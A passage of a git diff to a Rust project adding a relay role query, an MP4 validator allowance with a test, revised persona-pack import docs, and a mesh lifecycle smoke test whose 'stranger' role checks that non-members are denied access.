+    pubkey: &str,
+) -> Result<bool> {
     let row = sqlx::query("SELECT 1 FROM relay_members WHERE community_id = $1 AND pubkey = $2")
         .bind(community.as_uuid())
         .bind(pubkey)
-        .fetch_optional(pool)
+        .fetch_optional(conn)
         .await?;
     Ok(row.is_some())
 }
 
+/// Returns `true` if any member of `community` holds the `admin` or `owner`
+/// role. Open relays don't *enforce* the roster, but startup
+/// (`bootstrap_owner`) and operator provisioning still populate it — this is
+/// how the workspace-profile gate detects whether a steward exists.
+pub async fn has_admin_or_owner(pool: &PgPool, community: CommunityId) -> Result<bool> {
+    let row = sqlx::query(
+        "SELECT 1 FROM relay_members \
+         WHERE community_id = $1 AND role IN ('admin', 'owner') LIMIT 1",
+    )
+    .bind(community.as_uuid())
+    .fetch_optional(pool)
+    .await?;
+    Ok(row.is_some())
+}
+
 /// Returns the relay member record for `pubkey` in `community`, or `None`.
 pub async fn get_relay_member(
     pool: &PgPool,
diff --git a/crates/buzz-media/src/validation.rs b/crates/buzz-media/src/validation.rs
index f1387fc9d6..450f8f353e 100644
--- a/crates/buzz-media/src/validation.rs
+++ b/crates/buzz-media/src/validation.rs
@@ -858,7 +858,7 @@ fn validate_mp4_metadata_free(path: &Path) -> Result<(), MediaError> {
         *b"ftyp", *b"moov", *b"mdat", *b"free", *b"skip", *b"wide", *b"trak", *b"mdia", *b"minf",
         *b"stbl", *b"edts", *b"dinf", *b"sinf", *b"schi", *b"udta", *b"mvhd", *b"tkhd", *b"mdhd",
         *b"hdlr", *b"vmhd", *b"smhd", *b"dref", *b"url ", *b"urn ", *b"stsd", *b"stts", *b"stss",
-        *b"ctts", *b"stsc", *b"stsz", *b"stco", *b"co64", *b"sgpd", *b"sbgp", *b"elst",
+        *b"ctts", *b"stsc", *b"stsz", *b"stco", *b"co64", *b"sgpd", *b"sbgp", *b"sdtp", *b"elst",
     ];
     fn walk(
         file: &mut std::fs::File,
@@ -2337,6 +2337,31 @@ mod tests {
         assert!(validate_mp4_metadata_free(tmp.path()).is_ok());
     }
 
+    #[test]
+    fn test_accepts_standard_sample_dependency_table() {
+        let bytes = [
+            box_wrap(b"ftyp", b"isom\0\0\0\0isom"),
+            box_wrap(
+                b"moov",
+                &box_wrap(
+                    b"trak",
+                    &box_wrap(
+                        b"mdia",
+                        &box_wrap(
+                            b"minf",
+                            &box_wrap(b"stbl", &box_wrap(b"sdtp", &[0x20, 0x10])),
+                        ),
+                    ),
+                ),
+            ),
+            box_wrap(b"mdat", b""),
+        ]
+        .concat();
+        let tmp = tempfile::NamedTempFile::new().unwrap();
+        std::fs::write(tmp.path(), bytes).unwrap();
+        assert!(validate_mp4_metadata_free(tmp.path()).is_ok());
+    }
+
     #[test]
     fn test_rejects_excessive_mp4_box_nesting() {
         let mut nested = box_wrap(b"free", b"");
diff --git a/crates/buzz-persona/PERSONA_PACK_SPEC.md b/crates/buzz-persona/PERSONA_PACK_SPEC.md
index 3c5611ba09..cb3a7d1c05 100644
--- a/crates/buzz-persona/PERSONA_PACK_SPEC.md
+++ b/crates/buzz-persona/PERSONA_PACK_SPEC.md
@@ -909,18 +909,22 @@ at agent startup.
 
 ### Desktop App Import
 
-The Buzz desktop app can import persona packs via the Import button:
-
-- **My Agents → Import**: Accepts `.persona.md` files (individual personas) or `.zip` files
-  (persona packs detected by `.plugin/plugin.json`). Pack zips are resolved in a temp directory;
-  each persona is previewed and imported individually into the persona library.
-- **My Teams → Import**: Accepts `.zip` files (persona packs). The pack name becomes the team
-  name; each persona becomes a team member.
-
-> **Note**: The Import button parses and previews personas from the pack — it does not install the
-> pack directory itself. For full pack installation (which copies the pack to
-> `<AppDataDir>/agents/packs/<pack-id>/` with re-validation), use the `install_persona_pack`
-> Tauri command or a future "Install Pack" UI button.
+The Buzz desktop app's **Agents** page does not import persona-pack `.zip` archives or
+`.persona.md` files directly. It imports personas and teams as **snapshots** — files exported
+from an agent or team that already exists inside the app:
+
+- **Agents section → Import**: Accepts `.agent.json` or `.agent.png` (an agent snapshot).
+- **Agent teams section → Import**: Accepts `.team.json` or `.team.png` (a `buzz-team-snapshot
+  v1`). A persona-pack `.zip` is rejected outright with an error directing you to export a team
+  snapshot instead.
+
+> **Persona packs and desktop snapshots are two separate, non-interchangeable formats today.**
+> This spec's pack format (portable, hand-authored, git-friendly) is validated and inspected via
+> `buzz pack validate` / `buzz pack inspect` (Section 11). A snapshot is captured *from* an
+> already-running agent or team inside the desktop app. Neither format converts into the other:
+> there is no command that turns a pack into a snapshot, or a snapshot back into pack source. To
+> get a pack's personas running inside the desktop app today, recreate them there by hand using
+> `buzz pack inspect`'s resolved config as reference.
 
 ---
 
diff --git a/crates/buzz-relay/Cargo.toml b/crates/buzz-relay/Cargo.toml
index 41bdc3b9e9..cbad2a3b29 100644
--- a/crates/buzz-relay/Cargo.toml
+++ b/crates/buzz-relay/Cargo.toml
@@ -86,6 +86,11 @@ dev = ["buzz-auth/dev"]
 [dev-dependencies]
 mesh-llm-sdk = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-sdk", default-features = false, features = ["client", "serving"] }
 mesh-llm-host-runtime = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-host-runtime", default-features = false, features = ["dynamic-native-runtime"] }
+# Relay-driven mesh lifecycle smoke (examples/mesh_relay_lifecycle_smoke.rs):
+# the relay client for discovery notes and the exact ed25519 the mesh owner
+# keys use for binding verification.
+buzz-test-client = { path = "../buzz-test-client" }
+ed25519-dalek = "=3.0.0-rc.0"
 buzz-core = { workspace = true, features = ["test-utils"] }
 buzz-auth = { workspace = true, features = ["dev"] }
 reqwest = { workspace = true }
diff --git a/crates/buzz-relay/examples/mesh_relay_lifecycle_smoke.rs b/crates/buzz-relay/examples/mesh_relay_lifecycle_smoke.rs
new file mode 100644
index 0000000000..7544ca09ea
--- /dev/null
+++ b/crates/buzz-relay/examples/mesh_relay_lifecycle_smoke.rs
@@ -0,0 +1,1065 @@
+//! Relay-driven mesh lifecycle smoke — the full Buzz join story, CI-shaped.
+//!
+//! Unlike `mesh_serve_client_smoke` (Mdns + hand-carried invite token) and
+//! `mesh_admission_smoke` (allowlist mechanics, token passed out-of-band),
+//! this harness exercises the *relay as the control plane*, the way the
+//! desktop app actually joins a mesh:
+//!
+//!   1. MEMBERSHIP — two Nostr identities are added to a membership-gated
+//!      buzz-relay (kind:13534 roster via buzz-admin); a third is not.
+//!   2. ADVERTISE — each member process publishes a client-signed kind:30003
+//!      status note carrying its MeshLLM owner binding
+//!      (`ownerId`/`ownerVerifyingKey`/`ownerBindingSig`) and, for the serve
+//!      node, `serveTargets[].endpointAddr` covered by an endpoint binding
+//!      signature — the exact payload shape the desktop coordinator publishes.
+//!   3. TRUST — the serve node derives its admission allowlist from the relay:
+//!      status notes ∩ membership roster, and requires the *exact* expected
+//!      owner set before starting with `TrustPolicy::Allowlist`.
+//!   4. JOIN — the client node discovers the serve target from the relay,
+//!      verifies both bindings and membership, and dials the advertised
+//!      endpoint. No token is ever handed over out-of-band.
+//!   5. INFER — a chat completion against the client's local OpenAI endpoint
+//!      routes over QUIC to the serve node's model.
+//!   6. DENY — the stranger's NIP-42 auth must fail with the relay's
+//!      membership rejection, and even when handed the leaked endpoint
+//!      address directly it must not complete an inference — *while the
+//!      trusted client re-verifies inference immediately afterwards*, so a
+//!      sick serve node cannot masquerade as an admission denial.
+//!
+//! ## Scope: an independent protocol harness
+//!
+//! This harness speaks the same wire protocol as the desktop
+//! (`desktop/src-tauri/src/mesh_llm/{identity,discovery,coordinator}.rs`) but
+//! deliberately re-implements the binding/verification logic rather than
+//! linking desktop code (the desktop crate is outside this workspace). The
+//! payloads and canonical binding bytes are kept byte-identical — see the
+//! keep-in-sync comments below. A regression inside the desktop's own
+//! discovery filtering is covered by the desktop unit tests, not this smoke;
+//! what this smoke proves is that the relay + mesh-llm SDK + admission stack
+//! actually support the lifecycle end to end.
+//!
+//! One process per node is load-bearing: mesh-llm keeps process-global state
+//! (node endpoint key, ownership attestation under `~/.mesh-llm`), so each
+//! role runs with an isolated HOME — exactly how the desktop runs it (one
+//! machine = one node).
+//!
+//! Run in CI via `scripts/ci-mesh-lifecycle-smoke.sh` (which provisions the
+//! membership-gated relay), or locally:
+//!
+//! ```text
+//! ./scripts/start-relay-for-tests.sh            # with membership env set
+//! cargo build --profile ci -p buzz-admin
+//! BUZZ_ADMIN_BIN=target/ci/buzz-admin \
+//!   cargo run --profile ci -p buzz-relay --example mesh_relay_lifecycle_smoke
+//! ```
+use std::collections::BTreeSet;
+use std::io::{BufRead, Write};
+use std::process::{Child, ChildStdout, Command, ExitStatus, Stdio};
+use std::sync::mpsc;
+use std::time::{Duration, Instant};
+
+use buzz_test_client::BuzzTestClient;
+use ed25519_dalek::{Signature, Verifier, VerifyingKey};
+use mesh_llm_host_runtime::crypto::{load_keystore, save_keystore, OwnerKeypair};
+use mesh_llm_sdk::{client, serve, MeshDiscoveryMode, TrustPolicy};
+use nostr::{Alphabet, Event, EventBuilder, Filter, Keys, Kind, SingleLetterTag, Tag};
+use sha2::{Digest, Sha256};
+
+/// NIP-51 bookmark set reused for client-owned mesh discovery notes
+/// (`KIND_BUZZ_MESH_MEMBER_STATUS` in the desktop coordinator).
+const KIND_MESH_STATUS: u16 = 30_003;
+/// NIP-43 membership roster snapshot.
+const KIND_MEMBERSHIP: u16 = 13_534;
+const STATUS_D_TAG_PREFIX: &str = "buzz-mesh-member-status";
+const STATUS_K_TAG: &str = "buzz-mesh-status";
+
+/// Small, real instruct model; same ref the sibling mesh examples use.
+const DEFAULT_MODEL: &str = "jc-builds/SmolLM2-135M-Instruct-Q4_K_M-GGUF:Q4_K_M";
+
+const SERVE_API_PORT: u16 = 19_537;
+const SERVE_CONSOLE_PORT: u16 = 13_331;
+const CLIENT_API_PORT: u16 = 19_538;
+const CLIENT_CONSOLE_PORT: u16 = 13_332;
+const STRANGER_API_PORT: u16 = 19_539;
+const STRANGER_CONSOLE_PORT: u16 = 13_333;
+
+/// The trusted client sees the model within seconds on one box; this bounds
+/// the stranger's chance to (fail to) see it. Both windows are overridable
+/// via env (`MESH_CLIENT_WINDOW_SECS` / `MESH_STRANGER_WINDOW_SECS`) so CI
+/// can pin longer windows on slow shared runners instead of re-running the
+/// whole job.
+const CLIENT_WINDOW_SECS: u64 = 180;
+const STRANGER_WINDOW_SECS: u64 = 60;
+
+fn window_secs(name: &str, default: u64) -> u64 {
+    std::env::var(name)
+        .ok()
+        .and_then(|value| value.trim().parse().ok())
+        .unwrap_or(default)
+}
+
+fn client_window() -> Duration {
+    Duration::from_secs(window_secs("MESH_CLIENT_WINDOW_SECS", CLIENT_WINDOW_SECS))
+}
+
+fn stranger_window() -> Duration {
+    Duration::from_secs(window_secs(
+        "MESH_STRANGER_WINDOW_SECS",
+        STRANGER_WINDOW_SECS,
+    ))
+}
+
+/// Marker the orchestrator writes to the client child's stdin to request the
+/// post-attack inference re-verification.
+const VERIFY_AGAIN: &str = "VERIFY_AGAIN";
+
+fn main() -> anyhow::Result<()> {
+    match std::env::var("MESH_ROLE").ok().as_deref() {
+        Some("serve") => run_role(role_serve()),
+        Some("client") => run_role(role_client()),
+        Some("stranger") => run_role(role_stranger()),
+        _ => orchestrate(),
+    }
+}
+
+/// Run a role future and exit without unwinding through C++ static
+/// destructors: once the native runtime has initialized, normal process exit
+/// aborts inside ggml's Metal/CPU device teardown, which would mask the real
+/// error under a GGML_ASSERT backtrace.
+fn run_role(role: impl std::future::Future<Output = anyhow::Result<()>>) -> anyhow::Result<()> {
+    match runtime()?.block_on(role) {
+        Ok(()) => std::process::exit(0),
+        Err(error) => {
+            eprintln!("[role] FAILED: {error:#}");
+            std::process::exit(1);
+        }
+    }
+}
+
+/// mesh-llm's async chains overflow tokio's default 2 MiB worker stacks; the
+/// desktop and the mesh binary itself both run 8 MiB workers for this reason.
+fn runtime() -> anyhow::Result<tokio::runtime::Runtime> {
+    Ok(tokio::runtime::Builder::new_multi_thread()
+        .enable_all()
+        .thread_stack_size(8 * 1024 * 1024)
+        .build()?)
+}
+
+fn env(name: &str) -> anyhow::Result<String> {
+    std::env::var(name).map_err(|_| anyhow::anyhow!("{name} is required for this role"))
+}
+
+fn relay_ws_url() -> String {
+    std::env::var("RELAY_URL").unwrap_or_else(|_| "ws://localhost:3000".to_string())
+}
+
+async fn init_native_runtime() -> anyhow::Result<()> {
+    // The dynamic host runtime installs the recommended signed native runtime
+    // on first use when none is cached — the same SDK-owned path the desktop
+    // relies on. CI caches the install dir across runs.
+    mesh_llm_host_runtime::initialize_host_runtime()
+        .await
+        .map_err(|error| anyhow::anyhow!("MeshLLM host runtime init failed: {error:#}"))
+}
+
+// ── Owner binding payloads ───────────────────────────────────────────────────
+// Byte-for-byte the desktop's `identity::member_binding_bytes` /
+// `member_endpoint_binding_bytes`; the client role verifies exactly what the
+// desktop coordinator publishes. Keep in sync with
+// `desktop/src-tauri/src/mesh_llm/identity.rs`.
+
+fn member_binding_bytes(member_pubkey: &str) -> Vec<u8> {
+    format!(
+        "buzz-mesh-owner-binding-v1:{}",
+        member_pubkey.trim().to_ascii_lowercase()
+    )
+    .into_bytes()
+}
+
+fn member_endpoint_binding_bytes(member_pubkey: &str, endpoint_tokens: &[String]) -> Vec<u8> {
+    let mut endpoints = endpoint_tokens
+        .iter()
+        .map(|token| token.trim())
+        .filter(|token| !token.is_empty())
+        .collect::<Vec<_>>();
+    endpoints.sort_unstable();
+    endpoints.dedup();
+
+    let mut digest = Sha256::new();
+    for endpoint in endpoints {
+        digest.update((endpoint.len() as u64).to_be_bytes());
+        digest.update(endpoint.as_bytes());
+    }
+    format!(
+        "buzz-mesh-owner-endpoint-binding-v1:{}:{}",
+        member_pubkey.trim().to_ascii_lowercase(),
+        hex::encode(digest.finalize())
+    )
+    .into_bytes()
+}
+
+// ── Relay I/O ────────────────────────────────────────────────────────────────
+
+fn status_filter() -> Filter {
+    Filter::new()
+        .kind(Kind::Custom(KIND_MESH_STATUS))
+        .custom_tag(SingleLetterTag::lowercase(Alphabet::K), STATUS_K_TAG)
+        .limit(100)
+}
+
+fn membership_filter() -> Filter {
+    Filter::new().kind(Kind::Custom(KIND_MEMBERSHIP)).limit(1)
+}
+
+async fn query_events(
+    relay: &mut BuzzTestClient,
+    filters: Vec<Filter>,
+) -> anyhow::Result<Vec<Event>> {
+    let sid = format!("mesh-lifecycle-{}", uuid::Uuid::new_v4().simple());
+    relay.subscribe(&sid, filters).await?;
+    let events = relay
+        .collect_until_eose(&sid, Duration::from_secs(10))
+        .await?;
+    relay.close_subscription(&sid).await?;
+    Ok(events)
+}
+
+/// Publish this member's client-signed kind:30003 discovery note — the same
+/// payload the desktop coordinator's `bind_payload_to_member` +
+/// `build_status_report_event` produce.
+async fn publish_status(
+    relay: &mut BuzzTestClient,
+    keys: &Keys,
+    owner: &OwnerKeypair,
+    serve_targets: &[(String, String)],
+) -> anyhow::Result<()> {
+    let member_pubkey = keys.public_key().to_hex();
+    let endpoint_tokens: Vec<String> = serve_targets
+        .iter()
+        .map(|(_, endpoint)| endpoint.clone())
+        .collect();
+    let targets_json: Vec<serde_json::Value> = serve_targets
+        .iter()
+        .map(|(model, endpoint)| serde_json::json!({ "modelId": model, "endpointAddr": endpoint }))
+        .collect();
+    let models_json: Vec<serde_json::Value> = serve_targets
+        .iter()
+        .map(|(model, _)| serde_json::json!({ "id": model }))
+        .collect();
+    let payload = serde_json::json!({
+        "ownerId": owner.owner_id(),
+        "ownerVerifyingKey": hex::encode(owner.verifying_key().as_bytes()),
+        "ownerBindingSig":
+            hex::encode(owner.sign_bytes(&member_binding_bytes(&member_pubkey))),
+        "ownerEndpointBindingSig": hex::encode(owner.sign_bytes(
+            &member_endpoint_binding_bytes(&member_pubkey, &endpoint_tokens),
+        )),
+        "serveTargets": targets_json,
+        "models": models_json,
+    });
+    let d_tag = format!("{STATUS_D_TAG_PREFIX}:{}", owner.owner_id());
+    let d = Tag::parse(["d", d_tag.as_str()]).map_err(|error| anyhow::anyhow!("{error}"))?;
+    let k = Tag::parse(["k", STATUS_K_TAG]).map_err(|error| anyhow::anyhow!("{error}"))?;
+    let event = EventBuilder::new(Kind::Custom(KIND_MESH_STATUS), payload.to_string())
+        .tags([d, k])
+        .sign_with_keys(keys)?;
+    let ok = relay.send_event(event).await?;
+    anyhow::ensure!(
+        ok.accepted,
+        "relay rejected mesh status note: {}",
+        ok.message
+    );
+    Ok(())
+}
+
+// ── Discovery verification (mirrors desktop `discovery.rs`) ─────────────────
+
+fn membership_set(events: &[Event]) -> Option<BTreeSet<String>> {
+    events
+        .iter()
+        .filter(|event| event.kind.as_u16() == KIND_MEMBERSHIP)
+        .max_by_key(|event| event.created_at)
+        .map(|event| {
+            event
+                .tags
+                .iter()
+                .filter_map(|tag| {
+                    let slice = tag.as_slice();
+                    let name = slice.first()?;
+                    if name != "member" && name != "p" {
+                        return None;
+                    }
+                    slice
+                        .get(1)
+                        .map(|pubkey| pubkey.trim().to_ascii_lowercase())
+                })
+                .filter(|pubkey| !pubkey.is_empty())
+                .collect()
+        })
+}
+
+/// `ownerId` must equal sha256(ownerVerifyingKey) and `ownerBindingSig` must
+/// verify against the note's Nostr author — a stored note cannot be re-pointed
+/// at someone else's mesh identity.
+fn verified_owner_id(event: &Event) -> Option<String> {
+    let content = serde_json::from_str::<serde_json::Value>(&event.content).ok()?;
+    let owner_id = content.get("ownerId")?.as_str()?.trim();
+    let verifying_key_bytes: [u8; 32] =
+        hex::decode(content.get("ownerVerifyingKey")?.as_str()?.trim())
+            .ok()?
+            .try_into()
+            .ok()?;
+    if owner_id != hex::encode(Sha256::digest(verifying_key_bytes)) {
+        return None;
+    }
+    let signature_bytes = hex::decode(content.get("ownerBindingSig")?.as_str()?.trim()).ok()?;
+    let signature = Signature::from_slice(&signature_bytes).ok()?;
+    let verifying_key = VerifyingKey::from_bytes(&verifying_key_bytes).ok()?;
+    verifying_key
+        .verify(&member_binding_bytes(&event.pubkey.to_hex()), &signature)
+        .ok()?;
+    Some(owner_id.to_string())
+}
+
+/// Extract `(model_id, endpoint_addr)` pairs from a status note, but only when
+/// the endpoint binding signature covers exactly the advertised tokens.
+fn verified_serve_targets(event: &Event) -> Vec<(String, String)> {
+    let Ok(content) = serde_json::from_str::<serde_json::Value>(&event.content) else {
+        return Vec::new();
+    };
+    let targets: Vec<(String, String)> = content
+        .get("serveTargets")
+        .and_then(serde_json::Value::as_array)
+        .map(|targets| {
+            targets
+                .iter()
+                .filter_map(|target| {
+                    let model = target.get("modelId")?.as_str()?.trim().to_string();
+                    let endpoint = target.get("endpointAddr")?.as_str()?.trim().to_string();
+                    (!endpoint.is_empty()).then_some((model, endpoint))
+                })
+                .collect()
+        })
+        .unwrap_or_default();
+    if targets.is_empty() {
+        return Vec::new();
+    }
+    let endpoint_tokens: Vec<String> = targets
+        .iter()
+        .map(|(_, endpoint)| endpoint.clone())
+        .collect();
+    let Some(verifying_key) = content
+        .get("ownerVerifyingKey")
+        .and_then(serde_json::Value::as_str)
+        .and_then(|value| hex::decode(value.trim()).ok())
+        .and_then(|value| <[u8; 32]>::try_from(value).ok())
+        .and_then(|value| VerifyingKey::from_bytes(&value).ok())
+    else {
+        return Vec::new();
+    };
+    let Some(signature) = content
+        .get("ownerEndpointBindingSig")
+        .and_then(serde_json::Value::as_str)
+        .and_then(|value| hex::decode(value.trim()).ok())
+        .and_then(|value| Signature::from_slice(&value).ok())
+    else {
+        return Vec::new();
+    };
+    let bytes = member_endpoint_binding_bytes(&event.pubkey.to_hex(), &endpoint_tokens);
+    if verifying_key.verify(&bytes, &signature).is_err() {
+        return Vec::new();
+    }
+    targets
+}
+
+/// Owner ids of current members with valid owner bindings — the relay-derived
+/// admission roster (`owner_ids_from_events` semantics).
+fn member_owner_ids(events: &[Event]) -> BTreeSet<String> {
+    let Some(members) = membership_set(events) else {
+        return BTreeSet::new();
+    };
+    events
+        .iter()
+        .filter(|event| event.kind.as_u16() == KIND_MESH_STATUS)
+        .filter(|event| members.contains(&event.pubkey.to_hex().to_ascii_lowercase()))
+        .filter_map(verified_owner_id)
+        .collect()
+}
+
+// ── Roles ────────────────────────────────────────────────────────────────────
+
+/// SERVE (member A): publish presence, derive the allowlist from the relay,
+/// require the exact expected owner set, start an allowlist serve node,
+/// publish the endpoint, park.
+async fn role_serve() -> anyhow::Result<()> {
+    init_native_runtime().await?;
+    let model = std::env::var("MESH_SMOKE_MODEL").unwrap_or_else(|_| DEFAULT_MODEL.to_string());
+    let keys = Keys::parse(&env("BUZZ_MEMBER_NSEC")?)?;
+    let owner = load_keystore(std::path::Path::new(&env("MESH_OWNER_KEY")?), None)
+        .map_err(|error| anyhow::anyhow!("loading serve owner keystore: {error}"))?;
+    // The exact owner ids the orchestrator provisioned for members A and B.
+    // Waiting for this exact set (not a count) means the allowlist can only
+    // ever contain the intended identities.
+    let expected_owners: BTreeSet<String> = env("MESH_EXPECTED_OWNERS")?
+        .split(',')
+        .map(|id| id.trim().to_string())
+        .filter(|id| !id.is_empty())
+        .collect();
+    anyhow::ensure!(
+        expected_owners.contains(&owner.owner_id()),
+        "serve owner id is not in MESH_EXPECTED_OWNERS"
+    );
+
+    let mut relay = BuzzTestClient::connect(&relay_ws_url(), &keys)
+        .await
+        .map_err(|error| anyhow::anyhow!("serve member relay connect: {error}"))?;
+    publish_status(&mut relay, &keys, &owner, &[]).await?;
+    println!("STATUS_PUBLISHED");
+
+    // TRUST: wait until every expected member owner is visible via the relay
+    // (statuses ∩ roster), then admit exactly those owners.
+    let deadline = Instant::now() + Duration::from_secs(120);
+    loop {
+        let events = query_events(&mut relay, vec![status_filter(), membership_filter()]).await?;
+        let mut visible = member_owner_ids(&events);
+        visible.insert(owner.owner_id());
+        if visible.is_superset(&expected_owners) {
+            break;
+        }
+        anyhow::ensure!(
+            Instant::now() < deadline,
+            "timed out waiting for expected owners {expected_owners:?}; saw {visible:?}"
+        );
+        tokio::time::sleep(Duration::from_secs(2)).await;
+    }
+    let allowlist: Vec<String> = expected_owners.iter().cloned().collect();
+    println!("ALLOWLIST:{}", allowlist.join(","));
+    // The upcoming serve::start() blocks through a possibly multi-minute model
+    // download; an idle relay socket gets closed under it. Reconnect after.
+    let _ = relay.disconnect().await;
+
+    let cfg = serve::EmbeddedServeConfig::builder()
+        .model(&model)
+        .api_port(SERVE_API_PORT)
+        .console_port(SERVE_CONSOLE_PORT)
+        // Desktop no-leak invariants: never publish mesh presence, never
+        // auto-discover. The Buzz relay is the only discovery surface.
+        .publish(false)
+        .auto_join(false)
+        .discovery_mode(MeshDiscoveryMode::Nostr)
+        .console_ui(true)
+        .startup_timeout(Duration::from_secs(600))
+        .owner_key(env("MESH_OWNER_KEY")?)
+        .owner_required(true)
+        .trust_policy(TrustPolicy::Allowlist)
+        .trust_owners(allowlist)
+        .build();
+    let node = serve::start(cfg).await?;
+    let endpoint = node
+        .invite_token()
+        .map(str::to_string)
+        .ok_or_else(|| anyhow::anyhow!("serve node produced no endpoint address"))?;
+    println!("ENDPOINT:{endpoint}");
+
+    let http = reqwest::Client::new();
+    let base = node.api_base_url().to_string();
+    let served = wait_for_model(&http, &base, Duration::from_secs(600))
+        .await?
+        .ok_or_else(|| anyhow::anyhow!("serve node never loaded the model"))?;
+
+    // ADVERTISE: refresh the status note with the live serve target, exactly
+    // what the desktop's 45s heartbeat publishes once serving. Fresh relay
+    // connection — the pre-download socket has long been idle-closed.
+    let mut relay = BuzzTestClient::connect(&relay_ws_url(), &keys)
+        .await
+        .map_err(|error| anyhow::anyhow!("serve member relay reconnect: {error}"))?;
+    publish_status(
+        &mut relay,
+        &keys,
+        &owner,
+        &[(served.clone(), endpoint.clone())],
+    )
+    .await?;
+    println!("READY:{served}");
+
+    // Park; the orchestrator kills this process when the run is over.
+    loop {
+        tokio::time::sleep(Duration::from_secs(3600)).await;
+    }
+}
+
+/// CLIENT (member B): publish presence, discover + verify the serve target
+/// from the relay, dial it, prove inference routes over the mesh — then wait
+/// for the orchestrator's `VERIFY_AGAIN` and re-prove inference after the
+/// stranger's admission attack, so denial is differential, not absence.
+async fn role_client() -> anyhow::Result<()> {
+    init_native_runtime().await?;
+    let keys = Keys::parse(&env("BUZZ_MEMBER_NSEC")?)?;
+    let owner = load_keystore(std::path::Path::new(&env("MESH_OWNER_KEY")?), None)
+        .map_err(|error| anyhow::anyhow!("loading client owner keystore: {error}"))?;
+
+    let mut relay = BuzzTestClient::connect(&relay_ws_url(), &keys)
+        .await
+        .map_err(|error| anyhow::anyhow!("client member relay connect: {error}"))?;
+    publish_status(&mut relay, &keys, &owner, &[]).await?;
+    println!("STATUS_PUBLISHED");
+
+    // JOIN: poll the relay until a *verified* serve target from another member
+    // appears — membership roster, owner binding, and endpoint binding all
+    // checked, mirroring `availability_from_events`.
+    let deadline = Instant::now() + Duration::from_secs(900);
+    let (endpoint, allowlist) = loop {
+        let events = query_events(&mut relay, vec![status_filter(), membership_filter()]).await?;
+        let members = membership_set(&events).unwrap_or_default();
+        let target = events
+            .iter()
+            .filter(|event| event.kind.as_u16() == KIND_MESH_STATUS)
+            .filter(|event| members.contains(&event.pubkey.to_hex().to_ascii_lowercase()))
+            .filter(|event| verified_owner_id(event).is_some_and(|id| id != owner.owner_id()))
+            .flat_map(verified_serve_targets)
+            .next();
+        if let Some((_, endpoint)) = target {
+            let owners: Vec<String> = member_owner_ids(&events).into_iter().collect();
+            break (endpoint, owners);
+        }
+        anyhow::ensure!(
+            Instant::now() < deadline,
+            "timed out waiting for a verified serve target on the relay"
+        );
+        tokio::time::sleep(Duration::from_secs(3)).await;
+    };
+    println!("TARGET_FOUND");
+
+    let cfg = client::EmbeddedClientConfig::builder()
+        .api_port(CLIENT_API_PORT)
+        .console_port(CLIENT_CONSOLE_PORT)
+        .publish(false)
+        .auto_join(false)
+        .discovery_mode(MeshDiscoveryMode::Nostr)
+        .console_ui(true)
+        .startup_timeout(Duration::from_secs(180))
+        .owner_key(env("MESH_OWNER_KEY")?)
+        .owner_required(true)
+        .trust_policy(TrustPolicy::Allowlist)
+        .trust_owners(allowlist)
+        .build();
+    let node = client::start(cfg).await?;
+    // The relay-discovered endpoint is the dial target — the same
+    // `dial_endpoint_addr` step the desktop's join watcher performs. The
+    // desktop's watcher retries every 15s (a first QUIC dial can time out
+    // while the serve node's endpoint is still warming up). mesh-llm itself
+    // retries internally per attempt, so keep the outer budget small.
+    let mut dial_result = Ok(());
+    for attempt in 1..=3u32 {
+        dial_result = node.join_token(&endpoint).await;
+        match &dial_result {
+            Ok(()) => break,
+            Err(error) => {
+                eprintln!("[client] dial attempt {attempt}/3 failed: {error:#}");
+                tokio::time::sleep(Duration::from_secs(5)).await;
+            }
+        }
+    }
+    dial_result?;
+
+    let http = reqwest::Client::new();
+    let base = node.api_base_url().to_string();
+    let Some(model) = wait_for_model(&http, &base, client_window()).await? else {
+        println!("NONE");
+        let _ = node.stop().await;
+        std::process::exit(0);
+    };
+    println!("SEEN:{model}");
+    match try_completion(&http, &base, &model).await {
+        Ok(content) => println!("INFER_OK:{content}"),
+        Err(error) => {
+            println!("INFER_FAIL:{error}");
+            let _ = node.stop().await;
+            std::process::exit(0);
+        }
+    }
+
+    // Post-attack health proof: hold the mesh session open until the
+    // orchestrator has run the stranger, then prove the serve node still
+    // routes trusted inference. This is what makes the stranger's failure an
+    // admission denial rather than a dead server.
+    let line = tokio::task::spawn_blocking(|| {
+        let mut line = String::new();
+        std::io::stdin().read_line(&mut line).map(|_| line)
+    })
+    .await??;
+    if line.trim() == VERIFY_AGAIN {
+        match try_completion(&http, &base, &model).await {
+            Ok(content) => println!("INFER_AGAIN_OK:{content}"),
+            Err(error) => println!("INFER_AGAIN_FAIL:{error}"),
+        }
+    }
+    let _ = node.stop().await;
+    // Skip C++ static destructors (ggml aborts in global teardown).
+    std::process::exit(0);
+}
+
+/// STRANGER (non-member C): NIP-42 auth must fail with the relay's membership
+/// rejection, and the mesh must not route inference for it even with the
+/// leaked endpoint address.
+async fn role_stranger() -> anyhow::Result<()> {
+    let keys = Keys::parse(&env("BUZZ_MEMBER_NSEC")?)?;
+    let leaked_endpoint = env("MESH_LEAKED_ENDPOINT")?;
+
+    // DENY (relay read): the membership-gated relay must reject the
+    // stranger's NIP-42 auth with its membership error specifically. Any
+    // other failure (relay down, timeout) is inconclusive and fails the
+    // test; a successful auth is a gating regression and also fails.
+    match BuzzTestClient::connect(&relay_ws_url(), &keys).await {
+        Err(error) => {
+            let message = error.to_string();
+            if message.contains("not a relay member") {
+                println!("RELAY_DENIED_MEMBERSHIP");
+            } else {
+                println!("RELAY_ERR:{message}");
+            }
+        }
+        Ok(mut relay) => {
+            let statuses = query_events(&mut relay, vec![status_filter()])
+                .await
+                .map(|events| {
+                    events
+                        .iter()
+                        .filter(|event| event.kind.as_u16() == KIND_MESH_STATUS)
+                        .count()
+                })
+                .unwrap_or(usize::MAX);
+            println!("RELAY_AUTH_OK:{statuses}");
+            let _ = relay.disconnect().await;
+        }
+    }
+
+    // DENY (admission): dial the serve node directly with the leaked endpoint.
+    // The stranger's owner id is not on the allowlist, so the mesh must refuse
+    // to route anything to it. Note the dial itself may locally "succeed" —
+    // mesh-llm applies the receiving node's owner policy after the handshake —
+    // so the decisive probe is routed inference, cross-checked against the
+    // trusted client's post-attack inference by the orchestrator.
+    init_native_runtime().await?;
+    let cfg = client::EmbeddedClientConfig::builder()
+        .api_port(STRANGER_API_PORT)
+        .console_port(STRANGER_CONSOLE_PORT)
+        .publish(false)
+        .auto_join(false)
+        .discovery_mode(MeshDiscoveryMode::Nostr)
+        .console_ui(true)
